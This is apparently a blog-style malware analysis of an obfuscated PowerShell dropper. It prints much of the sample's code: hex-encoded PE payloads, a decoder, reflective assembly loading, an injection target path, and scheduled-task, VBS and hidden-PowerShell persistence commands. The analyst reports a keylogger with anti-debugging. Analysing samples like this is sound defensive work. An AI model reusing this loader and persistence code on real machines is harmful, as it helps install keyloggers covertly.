Malware anlysis unknown file – 05-31-2023

Filename: d41166f1c8bbd3c6bbac0f5c96c4dc867d501c3ce5aeb056686ffa28652facef.unknown
Sha1 = 6970e6cd0ab07c90cf2024bbe0e25292e78f7740
Size 240,264 bytes
File info: ASCII text, with very long lines, with CRLF line

Initial analysis makes it appear to be a powershell script. Noted this by variables beginning with $ Somewhere the file must be changed and run or the code within the file is copied into a PowerShell script. Don't have any details where this file came from.

Inside the script:

Variable *$zgoa* , is equal to hex values of Windows PE file. The initial values of 4D5A. Exported data from Cyberchef and ran strings on the output. This is in a try catch statement. Try creating the PE file and then catch is empty. Below that is another the hex data of another PE file, variable name *$cwsx* in a try catch statement.

```
$eyva = "C:\ProgramData\mvfp"
New-Item $eyva -ItemType Directory -Force
$Content = @'
function vgit {
param($gbla)$gbla = $gbla -split '(..)' | ? { $_ }
ForEach ($aokn in $gbla)
{
[Convert]::ToInt32($aokn,16)
}
}
Try{
$zgoa  = '4D5A900003000000040000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E
00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300A75021A500
0000000000000E0000E210B01300000C2000000060000000000000CEE1000000200000000010000040000020000000020000040000000000000060000000000000000040010000002
0000000000000300608500001000001000000000010000001000000000000001000000000000000000000000080E100004B000000000001005403000000000000000000000000000000
0000200100C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000
0820000048000000000000000000000002E74657874000000D4C10000020000000C2000000020000000000000000000000000000000200000602E72737263000000540300000000100000
04000000C40000000000000000000000000000040000402E72656C6F6300000C0000000020010000020000000C8000000000000000000000000000040000042000000000000000000000
000000000000B0E10000000000048000000020005000B45B0000B4640000001000000000000068C00000241F0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000133001001500000000100001128500000062804000006 28A900000628020000062A0000001330 0A004101000002000011720100007 00A20160275EC20
7CA4858F61250C1C5E4506000000D4FFFFFFDC0000000500000006C0000000E010000BF000000380901000 0D01C0000017E5000000428AC0000067209000070178D1D0000012516D009
0000017E5000000428AC000006A27E5100000428B00000060B07147E5200000428B4000006390B00000020617B55E225380600000020190880B425260820A760D1265A61386DFFFFFF
72370000700714178D1400000125160672 3B0000707E5300000428B8000006A26F0F00000A7E5400000428BC000006390B000000 2040113D2A253806000000204CAE93542526082029
70ADE15A61381AFFFFFF147E5500000428C000000608202B84E8145A207A7AB92D6138FDFEFFFF14FE0603000006731000000A731100000A25177E5600000428C4000006147E570000
0428C8000006207A68C7DD38CBFEFFFF2A00000013300400C10100000300001102752100000 10A20EA28473D20C3DF6D4D61250B1F0C5E450C000000BF000000030100006101000077
0000002B0000002801000005000000490000 00BBFFFFFF4C0100009800000 0DC000000385C0100007E5800000428CC0000063A0B00000020BCF9516825380600000020EED7F9692526
3895FFFFFF06177E5600000428C40000060720CE44FC705A20E5BFBC53613877FFFFFF7E5900000428D0000006390B00000020C9FE97EC2538060000000206335E1872526072059B9CD
B85A613849FFFFFF20F40100007E5A00000428D4000006072086FC8DB45A20A73955C0613828FFFFFF067E5B00000428D80000067E5700000428C80000060720D0C811615A20D42572
20613801FFFFFF147E5500000428C00000060720E1F6F7EE5A2069F6583E6138E4FEFFFF067E5C00000428DC0000063A0B0000002067365B12253806000000204D075A67252638BDFE
FFFF06390B000000203850EAA4253806000000 2093A838D425260720CD2B36B25A613898FEFFFF14FE0603000006731000000A731100000A0A0720887C87025A20C37A4A8E613874FE
```

Extracted the PE files by pasting the ascii hex data into Cyberchef. Exported the raw data.

PE files:

PE File 1 = NewPE.dll
Sha256 = fe14b946dd8cd5d7b518baafd0fbb39d244e9453073b14388a2764c29562c0ce
PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly
Behavior:
"ThreadControl__Context",
"Xor"

PE File 2 = Stub.exe
Sha256 = 8da2ee52332138905d6c21a8c2fd16c1ccb16aa057b64df7e66f2bd38664e86f
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Behaviors:

"DebuggerCheck__RemoteAPI",
"anti_dbg",
"Xor",
"keylogger",
"win_hook"

Both PE files are packed. NewPE.dll contains a Crypto feature.

Stage1 script file begins by creating ProgramData directory ‘mvfp’

Both PE files are within a $Contents @’ ‘@ statement.

```
Try{
[Byte[]] $vgit = vgit $aokn
[Byte[]] $wdhp = vgit $zgoa
[Byte[]] $mbsw = vgit $cwsx
$jzax = [Ref].Assembly
$dlkj = $jzax::'Load'(($wdhp))
}catch{}
Try{
$rgmi = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcsxehytzajldvmqbs.exe'
$dlkj.'GetType'('NewsxehytzajldvmqbPE.PE'.replace('sxehytzajldvmqb','')).GetMethod('Exsxehytzajldvmqbecusxehytzajldvmqbte'.replace('sxehytzajldvmq
b','')).'Invoke'($null,($rgmi.replace('sxehytzajldvmqb','')),$mbsw))
$null,[object[]] ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null ,$null,  $rgmi
}catch{}
'@
[IO.File]::WriteAllText("C:\ProgramData\mvfp\dlqp.ps1", $Content)
Sleep 1
$Content = @'
try
{
&'schtasks.exe' '/create' '/sc' 'minute' '/mo' 2 '/tn' ''mvfp '/tr' (('C:\ProgramData\mvfp\mvfp.vbs'));
} catch { }
'@
[IO.File]::WriteAllText("C:\ProgramData\mvfp\mvfp.ps1", $Content)
$Content = @'
on error resume next
WScript.Sleep 10000
set gfrt = CreateObject("WScript.Shell")
#gfrt.run "C:\ProgramData\mvfp\1.bat",0
'@
[IO.File]::WriteAllText("C:\ProgramData\mvfp\mvfp.vbs", $Content)
$Content = @'

CMD /C powershell -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\ProgramData\mvfp\dlqp.ps1"
'@
[IO.File]::WriteAllText("C:\ProgramData\mvfp\1.bat", $Content)
Start-Sleep 11
$wmar = 'ReadAllText'.Replace('!','');
#IEX([IO.File]::$wmar('C:\ProgramData\mvfp\mvfp.ps1'))
```

Within in the *$Content* variable, the two PE files are placed into the *C:\Windows\Microsoft.NET\Framework\v4.0.30319*. The executable is named, *RegSvcsxehytzajldvmqbs.exe.*

The code is assembled into their proper files by the following:
[Byte[]] $vgit = vgit $aokn
[Byte[]] $wdhp = vgit $zgoa
[Byte[]] $mbsw = vgit $cwsx
$jzax = [Ref].Assembly
$dlkj = $jzax::'Load'(($wdhp))

Where vgit is a function created at the beginning of the script:
function vgit {
param($gbla)$gbla = $gbla -split '(..)' | ? { $_ }
ForEach ($aokn in $gbla)
{
[Convert]::ToInt32($aokn,16)
}}
The code for *$Content* is placed into a new PS1 file located in *C:\ProgramData\mvfp* directory.

Near the end it writes output to a PS1 file located in the new directory mvfp

Creates a new task in Task Scheduler to run a VBA file located in the mvfp directory

Sleeps for 10000 before running a wscript shell that launches a bat file with the following code:
CMD /C powershell -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\ProgramData\mvfp\dlqp.ps1"

Last line is invoke-expression of ps1 file:
IEX([IO.File]::$wmar('C:\ProgramData\mvfp\mvfp.ps1'))

It is still unclear where this file is detonated. If I were to guess it might be from another file, that contains a PowerShell Downloadstring command that pulls the information from another source before beginning the detonation of Stage1. If that is the case then the file here is not Stage1, but probably Stage2 of the infection.